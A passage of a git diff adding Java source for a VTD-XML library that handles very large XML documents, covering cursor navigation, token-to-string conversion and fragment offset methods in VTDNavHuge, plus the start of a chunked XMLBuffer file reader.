context[context[0]] + 1; + + if (direction == NEXT_SIBLING) { + int index = context[context[0]] + 1; + size = vtdBuffer.size(); + while (index < size) { + long temp = vtdBuffer.longAt(index); + int token_type = + (int) ((MASK_TOKEN_TYPE & temp) >> 60) + & 0xf; + + if (token_type == TOKEN_STARTING_TAG) { + int depth = + (int) ((MASK_TOKEN_DEPTH & temp) >> 55); + if (depth < context[0]) { + return false; + } else if (depth == (context[0])) { + context[context[0]] = index; + return true; + } + } + index++; + } + return false; + } else { + int index = context[context[0]] - 1; + while (index > context[context[0] - 1]) { + // scan backforward + long temp = vtdBuffer.longAt(index); + int token_type = + (int) ((MASK_TOKEN_TYPE & temp) >> 60) + & 0xf; + + if (token_type == TOKEN_STARTING_TAG) { + int depth = + (int) ((MASK_TOKEN_DEPTH & temp) >> 55); + /*if (depth < context[0]) { + return false; + } else */ + if (depth == (context[0])) { + context[context[0]] = index; + return true; + } + } + index--; + } // what condition + return false; + } + } + + default : + throw new NavExceptionHuge("illegal navigation options"); + } + + } + /** + * A generic navigation method. + * Move the current to the element according to the direction constants and the element name + * If no such element, no position change and return false. + * "*" matches any element + * Creation date: (12/2/03 1:43:50 PM) + * Legal direction constants are
    + *
    		ROOT            0  
    + *
    		PARENT          1  
    + *
    		FIRST_CHILD     2  
    + *
    		LAST_CHILD      3  
    + *
    		NEXT_SIBLING    4  
    + *
    		PREV_SIBLING    5  
    + *
    + * for ROOT and PARENT, element name will be ignored. + * @return boolean + * @param direction int + * @param en String + * @exception com.ximpleware.extended.NavExceptionHuge When direction value is illegal. Or there are errors + * in underlying byte representation of the document + * @exception IllegalArguementException if en is null + */ + public boolean toElement(int direction, String en) throws NavExceptionHuge { + //int size; + int temp; + int d; + int val=0; + if (en == null) + throw new IllegalArgumentException(" Element name can't be null "); + if (en.equals("*")) + return toElement(direction); + switch (direction) { + case ROOT : + return toElement(ROOT); + + case PARENT : + return toElement(PARENT); + + case FIRST_CHILD : + if (atTerminal)return false; + if (toElement(FIRST_CHILD) == false) + return false; + // check current element name + if (matchElement(en) == false) { + if (toElement(NEXT_SIBLING, en) == true) + return true; + else { + //toParentElement(); + //context[context[0]] = 0xffffffff; + context[0]--; + return false; + } + } else + return true; + + case LAST_CHILD : + if (atTerminal)return false; + if (toElement(LAST_CHILD) == false) + return false; + if (matchElement(en) == false) { + if (toElement(PREV_SIBLING, en) == true) + return true; + else { + //context[context[0]] = 0xffffffff; + context[0]--; + //toParentElement(); + return false; + } + } else + return true; + + case NEXT_SIBLING : + if (atTerminal)return false; + d = context[0]; + + switch(d) + { + case -1: + case 0: return false; + case 1: val = l1index; break; + case 2: val = l2index; break; + case 3: val = l3index; break; + default: + } + temp = context[d]; // store the current position + + while (toElement(NEXT_SIBLING)) { + if (matchElement(en)) { + return true; + } + } + switch(d) + { + case 1: l1index = val; break; + case 2: l2index = val; break; + case 3: l3index = val; break; + default: + } + context[d] = temp; + return false; + + case PREV_SIBLING : + if (atTerminal) return false; + d = context[0]; + switch(d) + { + case -1: + case 0: return false; + case 1: val = l1index; break; + case 2: val = l2index; break; + case 3: val = l3index; break; + default: + } + temp = context[d]; // store the current position + + while (toElement(PREV_SIBLING)) { + if (matchElement(en)) { + return true; + } + } + switch(d) + { + case 1: l1index = val; break; + case 2: l2index = val; break; + case 3: l3index = val; break; + default: + } + context[d] = temp; + return false; + + default : + throw new NavExceptionHuge("illegal navigation options"); + } + } + /** + * A generic navigation method with namespace support. + * Move the current to the element according to the direction constants and the prefix and local names + * If no such element, no position change and return false. + * URL * matches any namespace, including undefined namespaces + * a null URL means hte namespace prefix is undefined for the element + * ln * matches any localname + * Creation date: (12/2/03 1:43:50 PM) + * Legal direction constants are
    + *
    		ROOT            0  
    + *
    		PARENT          1  
    + *
    		FIRST_CHILD     2  
    + *
    		LAST_CHILD      3  
    + *
    		NEXT_SIBLING    4  
    + *
    		PREV_SIBLING    5  
    + *
    + * for ROOT and PARENT, element name will be ignored. + * If not ns enabled, return false immediately with no position change. + * @return boolean + * @param direction int + * @param URL String + * @param ln String + * @exception com.ximpleware.extended.NavExceptionHuge When direction value is illegal. Or there are errors + * in underlying byte representation of the document + */ + public boolean toElementNS(int direction, String URL, String ln) + throws NavExceptionHuge { + //int size; + int temp; + int val=0; + int d; // temp location + if (ns == false) + return false; + switch (direction) { + case ROOT : + return toElement(ROOT); + + case PARENT : + return toElement(PARENT); + + case FIRST_CHILD : + if (atTerminal)return false; + if (toElement(FIRST_CHILD) == false) + return false; + // check current element name + if (matchElementNS(URL, ln) == false) { + if (toElementNS(NEXT_SIBLING, URL, ln) == true) + return true; + else { + //toParentElement(); + //context[context[0]] = 0xffffffff; + context[0]--; + return false; + } + } else + return true; + + case LAST_CHILD : + if (atTerminal)return false; + if (toElement(LAST_CHILD) == false) + return false; + if (matchElementNS(URL, ln) == false) { + if (toElementNS(PREV_SIBLING, URL, ln) == true) + return true; + else { + //context[context[0]] = 0xffffffff; + context[0]--; + //toParentElement(); + return false; + } + } else + return true; + + case NEXT_SIBLING : + if (atTerminal)return false; + d = context[0]; + temp = context[d]; // store the current position + switch(d) + { + case -1: + case 0: return false; + case 1: val = l1index; break; + case 2: val = l2index; break; + case 3: val = l3index; break; + default: + } + //if (d == 0) + // return false; + while (toElement(NEXT_SIBLING)) { + if (matchElementNS(URL, ln)) { + return true; + } + } + switch(d) + { + case 1: l1index = val; break; + case 2: l2index = val; break; + case 3: l3index = val; break; + default: + } + context[d] = temp; + return false; + + case PREV_SIBLING : + if (atTerminal)return false; + d = context[0]; + temp = context[d]; // store the current position + switch(d) + { + case -1: + case 0: return false; + case 1: val = l1index; break; + case 2: val = l2index; break; + case 3: val = l3index; break; + default: + } + //if (d == 0) + // return false; + while (toElement(PREV_SIBLING)) { + if (matchElementNS(URL, ln)) { + return true; + } + } + switch(d) + { + case 1: l1index = val; break; + case 2: l2index = val; break; + case 3: l3index = val; break; + default: + } + context[d] = temp; + return false; + + default : + throw new NavExceptionHuge("illegal navigation options"); + } + + } + /** + * This method normalizes a token into a string in a way that resembles DOM. + * The leading and trailing white space characters will be stripped. + * The entity and character references will be resolved + * Multiple whitespaces char will be collapsed into one. + * Whitespaces via entities will nonetheless be preserved. + * Creation date: (12/8/03 1:57:10 PM) + * @return java.lang.String + * @param index int + * @exception NavExceptionHuge When the encoding has errors + */ + public String toNormalizedString(int index) throws NavExceptionHuge { + int type = getTokenType(index); + if (type!=TOKEN_CHARACTER_DATA && + type!= TOKEN_ATTR_VAL) + return toRawString(index); + long l; + int len; + if (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + len = getTokenLength(index) & 0xffff; + else + len = getTokenLength(index); + if (len == 0) + return ""; + long offset = getTokenOffset(index); + long endOffset = len + offset - 1; // point to the last character + StringBuffer sb = new StringBuffer(len); + + int ch; + + // trim off the leading whitespaces + + while (true) { + long temp = offset; + l = getChar(offset); + + ch = (int)l; + offset += (int)(l>>32); + + if (!isWS(ch)) { + offset = temp; + break; + } + } + + boolean d = false; + while (offset <= endOffset) { + l = getCharResolved(offset); + ch = (int)l; + offset += (int)(l>>32); + if (isWS(ch) && getCharUnit(offset - 1) != ';') { + d = true; + } else { + if (d == false) + sb.append((char) ch); // java only supports 16 bit unicode + else { + sb.append(' '); + sb.append((char) ch); + d = false; + } + } + } + + return sb.toString(); + } + + /** + * Convert a token at the given index to a String, (built-in entity and char references not resolved) + * (entities and char references not expanded). + * Creation date: (11/16/03 7:28:49 PM) + * @return java.lang.String + * @param index int + * @exception NavExceptionHuge When the encoding has errors + */ + public String toRawString(int index) throws NavExceptionHuge { + int type = getTokenType(index); + int len; + if (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + len = getTokenLength(index) & 0xffff; + else + len = getTokenLength(index); + long offset = getTokenOffset(index); + return toRawString(offset, len); + + } + + protected String toRawString(long os, int len) throws NavExceptionHuge{ + StringBuffer sb = new StringBuffer(len); + long offset = os; + long endOffset = os + len; + long l; + while (offset < endOffset) { + l = getChar(offset); + offset += (int)(l>>32); + sb.append((char)l); + } + return sb.toString(); + } + + /* @param index + * @return + * @throws NavException + */ + final public String toRawStringLowerCase(int index) throws NavExceptionHuge { + int type = getTokenType(index); + int len; + if (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + len = getTokenLength(index) & 0xffff; + else + len = getTokenLength(index); + long offset = getTokenOffset(index); + return toRawStringLowerCase(offset, len); + } + /** + * + * @param index + * @return + * @throws NavException + */ + final public String toRawStringUpperCase(int index) throws NavExceptionHuge { + int type = getTokenType(index); + int len; + if (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + len = getTokenLength(index) & 0xffff; + else + len = getTokenLength(index); + long offset = getTokenOffset(index); + return toRawStringUpperCase(offset, len); + } + + final protected String toRawStringLowerCase(long os, int len) throws NavExceptionHuge{ + StringBuffer sb = new StringBuffer(len); + long offset = os; + long endOffset = os + len; + long l; + while (offset < endOffset) { + l = getChar(offset); + offset += (int)(l>>32); + if ((int)l>64 && (int)l<91) + sb.append((char)(l+32)); + else + sb.append((char)l); + } + return sb.toString(); + } + + final protected String toRawStringUpperCase(long os, int len) throws NavExceptionHuge{ + StringBuffer sb = new StringBuffer(len); + long offset = os; + long endOffset = os + len; + long l; + while (offset < endOffset) { + l = getChar(offset); + offset += (int)(l>>32); + if ((int)l>96 && (int)l<123) + sb.append((char)(l-32)); + else + sb.append((char)l); + } + return sb.toString(); + } + + /** + * Convert a token at the given index to a String, (entities and char references resolved). + * An attribute name or an element name will get the UCS2 string of qualified name + * Creation date: (11/16/03 7:27:19 PM) + * @return java.lang.String + * @param index + * @exception NavExceptionHuge + */ + public String toString(int index) throws NavExceptionHuge { + int type = getTokenType(index); + if (type!=TOKEN_CHARACTER_DATA && + type!= TOKEN_ATTR_VAL) + return toRawString(index); + int len; + //long l; + if (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + len = getTokenLength(index) & 0xffff; + else + len = getTokenLength(index); + + long offset = getTokenOffset(index); + return toString(offset, len); + } + + protected String toString(long os, int len) throws NavExceptionHuge{ + StringBuffer sb = new StringBuffer(len); + long offset = os; + long endOffset = os + len; + long l; + while (offset < endOffset) { + l = getCharResolved(offset); + offset += (int)(l>>32); + sb.append((char)l); + } + return sb.toString(); + } + +/** + * This method matches two VTD tokens of VTDNav objects + * @param i1 + * @param vn2 + * @param i2 + * @return boolean true if two tokens are lexically identical + * + */ + final public boolean matchTokens(int i1, VTDNavHuge vn2, int i2) + throws NavExceptionHuge{ + return compareTokens(i1,vn2,i2)==0; + } + + + + + /** + * Set the value of atTerminal + * This function only gets called in XPath eval + * when a step calls for @* or child::text() + * @param b + */ + final protected void setAtTerminal(boolean b){ + atTerminal = b; + } + + /** + * Get the value of atTerminal + * This function only gets called in XPath eval + * @return boolean + */ + final protected boolean getAtTerminal(){ + return atTerminal; + } + /** + * This is for debugging purpose + * @param fib + */ + + public void sampleState(FastIntBuffer fib){ +// for(int i=0;i=1) + fib.append(l1index); + + + if (context[0]>=2){ + fib.append(l2index); + fib.append(l2lower); + fib.append(l2upper); + } + + if (context[0]>=3){ + fib.append(l3index); + fib.append(l3lower); + fib.append(l3upper); + } + } + + final public int getStringLength(int index) throws NavExceptionHuge { + int type = getTokenType(index); + if (type != TOKEN_CHARACTER_DATA && type != TOKEN_ATTR_VAL) + return getRawStringLength(index); + int len = 0, len1 = 0; + + len = getTokenLength(index); + long offset = getTokenOffset(index); + long endOffset = offset + len; + long l; + + while (offset < endOffset) { + l = getCharResolved(offset); + offset += (int) (l >> 32); + len1++; + } + return len1; + } + + final public int getRawStringLength(int index) throws NavExceptionHuge { + int type = getTokenType(index); + int len = 0, len1 = 0; + if (type == TOKEN_STARTING_TAG || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + len = getTokenLength(index) & 0xffff; + else + len = getTokenLength(index); + long offset = getTokenOffset(index); + long endOffset = offset + len; + long l; + while (offset < endOffset) { + l = getChar(offset); + offset += (int) (l >> 32); + len1++; + } + return len1; + } + + /** + * This method compares two VTD tokens of VTDNav + * objects The behavior of this method is like compare the strings + * corresponds to i1 and i2, meaning for text or attribute val, entities + * will be converted into the corresponding char + * + * @param i1 + * @param vn2 + * @param i2 + * @return -1,0, or 1 + * @throws NavExceptionHuge + * + */ + public int compareTokens(int i1, VTDNavHuge vn2, int i2) + throws NavExceptionHuge{ + int t1, t2; + int ch1, ch2; + long endOffset1, endOffset2; + long l; + + if ( i1 ==i2 && this == vn2) + return 0; + t1 = this.getTokenType(i1); + t2 = vn2.getTokenType(i2); + + long offset1 = this.getTokenOffset(i1); + long offset2 = vn2.getTokenOffset(i2); + + int len1 = + (t1 == TOKEN_STARTING_TAG + || t1 == TOKEN_ATTR_NAME + || t1 == TOKEN_ATTR_NS) + ? getTokenLength(i1) & 0xffff + : getTokenLength(i1); + int len2 = + (t2 == TOKEN_STARTING_TAG + || t2 == TOKEN_ATTR_NAME + || t2 == TOKEN_ATTR_NS) + ? vn2.getTokenLength(i2) & 0xffff + : vn2.getTokenLength(i2); + + endOffset1 = len1+offset1; + endOffset2 = len2+ offset2; + + for(;offset1>32); + + if(t2 == VTDNavHuge.TOKEN_CHARACTER_DATA + || t2== VTDNavHuge.TOKEN_ATTR_VAL){ + l = vn2.getCharResolved(offset2); + } else { + l = vn2.getChar(offset2); + } + ch2 = (int)l; + offset2 += (int)(l>>32); + + if (ch1 > ch2) + return 1; + if (ch1 < ch2) + return -1; + } + + if (offset1 == endOffset1 + && offset2 < endOffset2) + return -1; + else if (offset1 < endOffset1 + && offset2 == endOffset2) + return 1; + else + return 0; + } + /** + * Test the start of token content at index i matches the content + * of s, notice that this is to save the string allocation cost of + * using String's built-in startsWidth + * @param index + * @param s + * @return + * @throws NavExceptionHuge + */ + final public boolean startsWith(int index, String s) throws NavExceptionHuge{ + int type = getTokenType(index); + int len = + (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + ? getTokenLength(index) & 0xffff + : getTokenLength(index); + long offset = getTokenOffset(index); + long l1; + int i,l; + long endOffset = offset + len; + boolean b = (type == TOKEN_CHARACTER_DATA + || type == TOKEN_ATTR_VAL); + + // System.out.print("currentOffset :" + currentOffset); + l = s.length(); + if (l> len) + return false; + //System.out.println(s); + for (i = 0; i < l && offset < endOffset; i++) { + if (b) + l1 = getCharResolved(offset); + else + l1 = getChar(offset); + int i1 = s.charAt(i); + if (i1 != (int) l1) + return false; + offset += (int) (l1 >> 32); + } + return true; + } + + /** + * Test the end of token content at index i matches the content + * of s, notice that this is to save the string allocation cost of + * using String's built-in endsWidth + * @param i + * @return + */ + final public boolean endsWith(int index, String s) throws NavExceptionHuge{ + int type = getTokenType(index); + int len = + (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + ? getTokenLength(index) & 0xffff + : getTokenLength(index); + long offset = getTokenOffset(index); + long l1; + int i,l,i2; + boolean b = (type == TOKEN_CHARACTER_DATA + || type == TOKEN_ATTR_VAL); + //int endOffset = offset + len; + + // System.out.print("currentOffset :" + currentOffset); + l = s.length(); + i2 = getStringLength(index); + if (l> len || l> i2) + return false; + i2 = i2 - l; // calculate the # of chars to be skipped + // eat away first several chars + for (i = 0; i < i2; i++) { + if (b) + l1 = getCharResolved(offset); + else + l1 = getChar(offset); + offset += (int) (l1 >> 32); + } + //System.out.println(s); + for (i = 0; i < l; i++) { + if (b) + l1 = getCharResolved(offset); + else + l1 = getChar(offset); + int i1 = s.charAt(i); + if (i1 != (int) l1) + return false; + offset += (int) (l1 >> 32); + } + return true; + } + + /** + * Convert a token at the given index to a String and any upper case + * character will be converted to lower case, (entities and char + * references resolved). An attribute name or an element name will get the + * UCS2 string of qualified name + * @param index + * @return + * @throws NavExceptionHuge + */ + public String toStringLowerCase(int index) throws NavExceptionHuge { + int type = getTokenType(index); + if (type!=TOKEN_CHARACTER_DATA && + type!= TOKEN_ATTR_VAL) + return toRawStringLowerCase(index); + int len; + len = getTokenLength(index); + + long offset = getTokenOffset(index); + return toStringLowerCase(offset, len); + } + + /** + * Convert the byte content segment (in terms of offset and length) to + * String, upper case characters are converted to lower case + * + * @param os + * the offset of the segment + * @param len + * the length of the segment + * @return the corresponding string value + * @throws NavExceptionHuge + * + */ + final protected String toStringLowerCase(long os, int len) throws NavExceptionHuge{ + StringBuffer sb = new StringBuffer(len); + long offset = os; + long endOffset = os + len; + long l; + while (offset < endOffset) { + l = getCharResolved(offset); + offset += (int)(l>>32); + if ((int)l>64 && (int)l<91) + sb.append((char)(l+32)); + else + sb.append((char)l); + } + return sb.toString(); + } + + /** + * Convert a token at the given index to a String and any lower case + * character will be converted to upper case, (entities and char + * references resolved). An attribute name or an element name will get the + * UCS2 string of qualified name + * @param index + * @return + * @throws NavExceptionHuge + */ + public String toStringUpperCase(int index) throws NavExceptionHuge { + int type = getTokenType(index); + if (type!=TOKEN_CHARACTER_DATA && + type!= TOKEN_ATTR_VAL) + return toRawStringUpperCase(index); + int len; + len = getTokenLength(index); + + long offset = getTokenOffset(index); + return toStringUpperCase(offset, len); + } + + /** + * Convert the byte content segment (in terms of offset and length) to + * String, lower case characters are converted to upper case + * + * @param os + * the offset of the segment + * @param len + * the length of the segment + * @return the corresponding string value + * @throws NavExceptionHuge + * + */ + final protected String toStringUpperCase(long os, int len ) throws NavExceptionHuge{ + StringBuffer sb = new StringBuffer(len); + long offset = os; + long endOffset = os + len; + long l; + while (offset < endOffset) { + l = getCharResolved(offset); + offset += (int)(l>>32); + if ((int)l>96 && (int)l<123) + sb.append((char)(l-32)); + else + sb.append((char)l); + } + return sb.toString(); + } + + /** + * Return the offset (64-bit) and length (64-bit) of an element + * fragment + * @return a long[2], result[0]=offset, result[1]=length + * @throws NavExceptionHuge + */ + public long[] getElementFragment() throws NavExceptionHuge { + // a little scanning is needed + // has next sibling case + // if not + long[] result = new long[2]; + int depth = getCurrentDepth(); +// document length and offset returned if depth == -1 + if (depth == -1){ + int i=vtdBuffer.lower32At(0); + if (i==0){ + result[0] = docOffset; + result[1] = docLen; + //return ((long)docLen)<<32| docOffset; + } + else { + result[0] = 32; + result[1] = docLen-32; + //return ((long)(docLen-32))| 32; + } + return result; + } + long so = getTokenOffset(getCurrentIndex2()) - 1; + long length = 0; + + + // for an element with next sibling + if (toElement(NEXT_SIBLING)) { + + int temp = getCurrentIndex(); + // rewind + while (getTokenDepth(temp) < depth) { + temp--; + } + //temp++; + long so2 = getTokenOffset(temp) - 1; + // look for the first '>' + while (getCharUnit(so2) != '>') { + so2--; + } + length = so2 - so + 1; + toElement(PREV_SIBLING); + if (encoding <= FORMAT_WIN_1258){ + result[0]= so; + result[1]= length; + //return ((long) length) << 32 | so; + } + else { + result[0]=so<<1; + result[1]=length<<1; + //return ((long) length) << 33 | (so << 1); + } + return result; + } + + // for root element + if (depth == 0) { + int temp = vtdBuffer.size() - 1; + boolean b = false; + long so2 = 0; + while (getTokenDepth(temp) == -1) { + temp--; // backward scan + b = true; + } + if (b == false) + so2 = + (encoding <= FORMAT_WIN_1258 ) + ? (docOffset + docLen - 1) + : ((docOffset + docLen) >> 1) - 1; + else + so2 = getTokenOffset(temp + 1); + while (getCharUnit(so2) != '>') { + so2--; + } + length = so2 - so + 1; + if (encoding <= FORMAT_WIN_1258){ + result[0]= so; + result[1]= length; + //return ((long) length) << 32 | so; + } + else{ + result[0]=so<<1; + result[1]=length<<1; + //return ((long) length) << 33 | (so << 1); + } + return result; + } + // for a non-root element with no next sibling + int temp = getCurrentIndex() + 1; + int size = vtdBuffer.size(); + // temp is not the last entry in VTD buffer + if (temp < size) { + while (temp < size && getTokenDepth(temp) >= depth) { + temp++; + } + if (temp != size) { + int d = + depth + - getTokenDepth(temp) + + ((getTokenType(temp) == TOKEN_STARTING_TAG) ? 1 : 0); + long so2 = getTokenOffset(temp) - 1; + int i = 0; + // scan backward + while (i < d) { + if (getCharUnit(so2) == '>') + i++; + so2--; + } + length = so2 - so + 2; + if (encoding <= FORMAT_WIN_1258){ + result[0]=so; + result[1]=length; + //return ((long) length) << 32 | so; + } + else{ + result[0]=so<<1; + result[1]=length<<1; + //return ((long) length) << 33 | (so << 1); + } + return result; + } + /* + * int so2 = getTokenOffset(temp - 1) - 1; int d = depth - + * getTokenDepth(temp - 1); int i = 0; while (i < d) { if + * (getCharUnit(so2) == '>') { i++; } so2--; } length = so2 - so + + * 2; if (encoding < 3) return ((long) length) < < 32 | so; else + * return ((long) length) < < 33 | (so < < 1); + */ + } + // temp is the last entry + // scan forward search for /> or + + long so2 = + (encoding <= FORMAT_WIN_1258) + ? (docOffset + docLen - 1) + : ((docOffset + docLen) >> 1) - 1; + int d; + + d = depth + 1; + + int i = 0; + while (i < d) { + if (getCharUnit(so2) == '>') { + i++; + } + so2--; + } + + + length = so2 - so + 2; + + if (encoding <= FORMAT_WIN_1258){ + result[0]=so; + result[1]=length; + //return ((long) length) << 32 | so; + } + else{ + result[0]=so<<1; + result[1]=length<<1; + //return ((long) length) << 33 | (so << 1); + } + return result; + } + + /** + * Get content fragment returns a long[2] encoding the offset and length of the byte segment of + * the content of current element, which is the byte segment between the starting tag and + * ending tag, null is returned if the current element is an empty element + * + * @return long[2] whose upper 64 bite is length, lower 64 bit is offset + */ + public long[] getContentFragment() throws NavExceptionHuge{ + // a little scanning is needed + // has next sibling case + // if not + long[] result = new long[2]; + int depth = getCurrentDepth(); +// document length and offset returned if depth == -1 + if (depth == -1){ + int i=vtdBuffer.lower32At(0); + if (i==0){ + result[0]= docOffset; + result[1]= docLen; + //return ((long)docLen)<<32| docOffset; + } + else{ + result[0]= 32; + result[1]= docLen-32; + //return ((long)(docLen-32))| 32; + } + return result; + } + + + long so = getOffsetAfterHead(); + if (so==-1) + return null; + long length = 0; + + + // for an element with next sibling + if (toElement(NEXT_SIBLING)) { + + int temp = getCurrentIndex(); + // rewind + while (getTokenDepth(temp) < depth) { + temp--; + } + //temp++; + long so2 = getTokenOffset(temp) - 1; + // look for the first '>' + while (getCharUnit(so2) != '>') { + so2--; + } + while (getCharUnit(so2) != '/') { + so2--; + } + while (getCharUnit(so2) != '<') { + so2--; + } + length = so2 - so; + toElement(PREV_SIBLING); + if (encoding <= FORMAT_WIN_1258){ + result[0]= so; + result[1]= length; + //return ((long) length) << 32 | so; + } + else{ + result[0]=so<<1; + result[1]=length<<1; + //return ((long) length) << 33 | (so << 1); + } + return result; + } + + // for root element + if (depth == 0) { + int temp = vtdBuffer.size() - 1; + boolean b = false; + long so2 = 0; + while (getTokenDepth(temp) == -1) { + temp--; // backward scan + b = true; + } + if (b == false) + so2 = + (encoding <= FORMAT_WIN_1258 ) + ? (docOffset + docLen - 1) + : ((docOffset + docLen) >> 1) - 1; + else + so2 = getTokenOffset(temp + 1); + while (getCharUnit(so2) != '>') { + so2--; + } + while (getCharUnit(so2) != '/') { + so2--; + } + while (getCharUnit(so2) != '<') { + so2--; + } + length = so2 - so; + if (encoding <= FORMAT_WIN_1258){ + result[0]= so; + result[1]= length; + //return ((long) length) << 32 | so; + } + else { + result[0]=so<<1; + result[1]=length<<1; + //return ((long) length) << 33 | (so << 1); + } + return result; + } + // for a non-root element with no next sibling + int temp = getCurrentIndex() + 1; + int size = vtdBuffer.size(); + // temp is not the last entry in VTD buffer + if (temp < size) { + while (temp < size && getTokenDepth(temp) >= depth) { + temp++; + } + if (temp != size) { + int d = + depth + - getTokenDepth(temp) + + ((getTokenType(temp) == TOKEN_STARTING_TAG) ? 1 : 0); + long so2 = getTokenOffset(temp) - 1; + int i = 0; + // scan backward + while (i < d) { + if (getCharUnit(so2) == '>') + i++; + so2--; + } + while (getCharUnit(so2) != '/') { + so2--; + } + while (getCharUnit(so2) != '<') { + so2--; + } + length = so2 - so; + if (encoding <= FORMAT_WIN_1258){ + result[0]= so; + result[1]= length; + //return ((long) length) << 32 | so; + } + else{ + result[0]=so<<1; + result[1]=length<<1; + //return ((long) length) << 33 | (so << 1); + } + return result; + } + /* + * int so2 = getTokenOffset(temp - 1) - 1; int d = depth - + * getTokenDepth(temp - 1); int i = 0; while (i < d) { if + * (getCharUnit(so2) == '>') { i++; } so2--; } length = so2 - so + + * 2; if (encoding < 3) return ((long) length) < < 32 | so; else + * return ((long) length) < < 33 | (so < < 1); + */ + } + // temp is the last entry + // scan forward search for /> or + + long so2 = + (encoding <= FORMAT_WIN_1258) + ? (docOffset + docLen - 1) + : ((docOffset + docLen) >> 1) - 1; + int d; + + d = depth + 1; + + int i = 0; + while (i < d) { + if (getCharUnit(so2) == '>') { + i++; + } + so2--; + } + while (getCharUnit(so2) != '/') { + so2--; + } + while (getCharUnit(so2) != '<') { + so2--; + } + + length = so2 - so; + + if (encoding <= FORMAT_WIN_1258){ + result[0]= so; + result[1]= length; + //return ((long) length) << 32 | so; + } + else { + result[0]=so<<1; + result[1]=length<<1; + //return ((long) length) << 33 | (so << 1); + } + return result; + } + + public ElementFragmentNsHuge getElementFragmentNs() throws NavExceptionHuge{ + if (this.ns == false) + throw new NavExceptionHuge("getElementFragmentNS can only be called when parsing is ns enabled"); + + FastIntBuffer fib = new FastIntBuffer(3); // init size 8 + + //fill the fib with integer + // first get the list of name space nodes + int[] ia = context; + int d =ia[0]; // -1 for document node, 0 for root element; + int c = getCurrentIndex2(); + + + int len = (c == 0 || c == rootIndex )? 0: + (getTokenLength(c) & 0xffff); // get the length of qualified node + + // put the neighboring ATTR_NS nodes into the array + // and record the total # of them + int i = 0; + int count=0; + if (d > 0){ // depth > 0 every node except document and root element + int k=getCurrentIndex2()+1; + if (k" + toString(k)); + } + k+=2; + //type = this.getTokenType(k); + } + } + count = fib.size(); + d--; + while (d >= 0) { + // then search for ns node in the vinicity of the ancestor nodes + if (d > 0) { + // starting point + k = ia[d]+1; + } else { + // starting point + k = this.rootIndex+1; + } + if (k + // "+fib.size()); + //if (fib.size()==4); + if (matchTokens(fib.intAt(z), this, k)) { + unique = false; + break; + } + } + if (unique) + fib.append(k); + } + } + k += 2; + // type = this.getTokenType(k); + } + } + d--; + } + // System.out.println("count ===> "+count); + // then restore the name space node by shifting the array + int newSz= fib.size()-count; + for (i= 0; i1){ + vn.l2index = this.l2index; + vn.l2upper = l2upper; + vn.l2lower = l2lower; + } + if (getCurrentDepth() > 2) { + vn.l3lower = l3lower; + vn.l3index = l3index; + vn.l3upper = l3upper; + } + return vn; + } + + /** + * Return the byte offset and length of up to i sibling fragments. If + * there is a i+1 sibling element, the cursor element would + * move to it; otherwise, there is no cursor movement. If the cursor isn't + * positioned at an element (due to XPath evaluation), then -1 will be + * returned + * @param i number of silbing elements including the cursor element + * @return a long[2] encoding byte offset (lower 64 bits), length ( + * upper 64 bits) of those fragments + * @throws NavExceptionHuge + */ + public long[] getSiblingElementFragments(int i) throws NavExceptionHuge{ + if (i<=0) + throw new IllegalArgumentException(" # of sibling can be less or equal to 0"); + // get starting char offset + if(atTerminal==true) + return null; + // so is the char offset + long so = getTokenOffset(getCurrentIndex())-1; + // char offset to byte offset conversion + if (encoding>=FORMAT_UTF_16BE) + so = so<<1; + BookMarkHuge bmh = new BookMarkHuge(this); + bmh.recordCursorPosition(); + while(i>1 && toElement(VTDNav.NEXT_SIBLING)){ + i--; + } + long[] l= getElementFragment(); + long len = l[0]+l[1]-so; + if (i==1 && toElement(VTDNav.NEXT_SIBLING)){ + }else + bmh.setCursorPosition(); + l[0] = so; l[1]=len; + return l; + } + +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/XMLBuffer.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/XMLBuffer.java new file mode 100644 index 0000000..bb3b5f5 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/XMLBuffer.java @@ -0,0 +1,154 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended; +import java.io.*; +/** + * XMLBuffer is a class that reads in an XML doc into chunk-based memory buffers + * the file size is equal to n*1GB + m (where m < 1GB) + * + */ + +public class XMLBuffer implements IByteBuffer { + byte[][] bufferArray; + long length; + public XMLBuffer(){ + //ArrayList al = new ArrayList(); + } + + public XMLBuffer(byte[] ba){ + if (ba==null) + throw new IllegalArgumentException("ba can't be null "); + if (ba.length > 1<<30) + throw new IllegalArgumentException("ba should be shorter than 1G bytes "); + bufferArray = new byte[1][]; + bufferArray[0]= ba; + length = ba.length; + } + /** + * + * @param fileName + * @throws java.io.IOException + * @throws ParseException + * + */ + public void readFile(String fileName) throws java.io.IOException, ParseExceptionHuge { + // get file size + File f = new File(fileName); + long l = f.length(); + //System.out.println("length ==>"+l); + length = l; + if (l>= (1L<< 38)){ + throw new ParseExceptionHuge("document too big > 256 Gbyte"); + } + // calculate # of buffers needed and each buffer size + int pageNumber = (int)(l>>30)+(((l & 0x3fffffffL)==0)?0:1); + + bufferArray = new byte[pageNumber][]; + + //fill the buffers with doc content + FileInputStream fis = new FileInputStream(f); + int byteArrayLen = 0; + + for (int 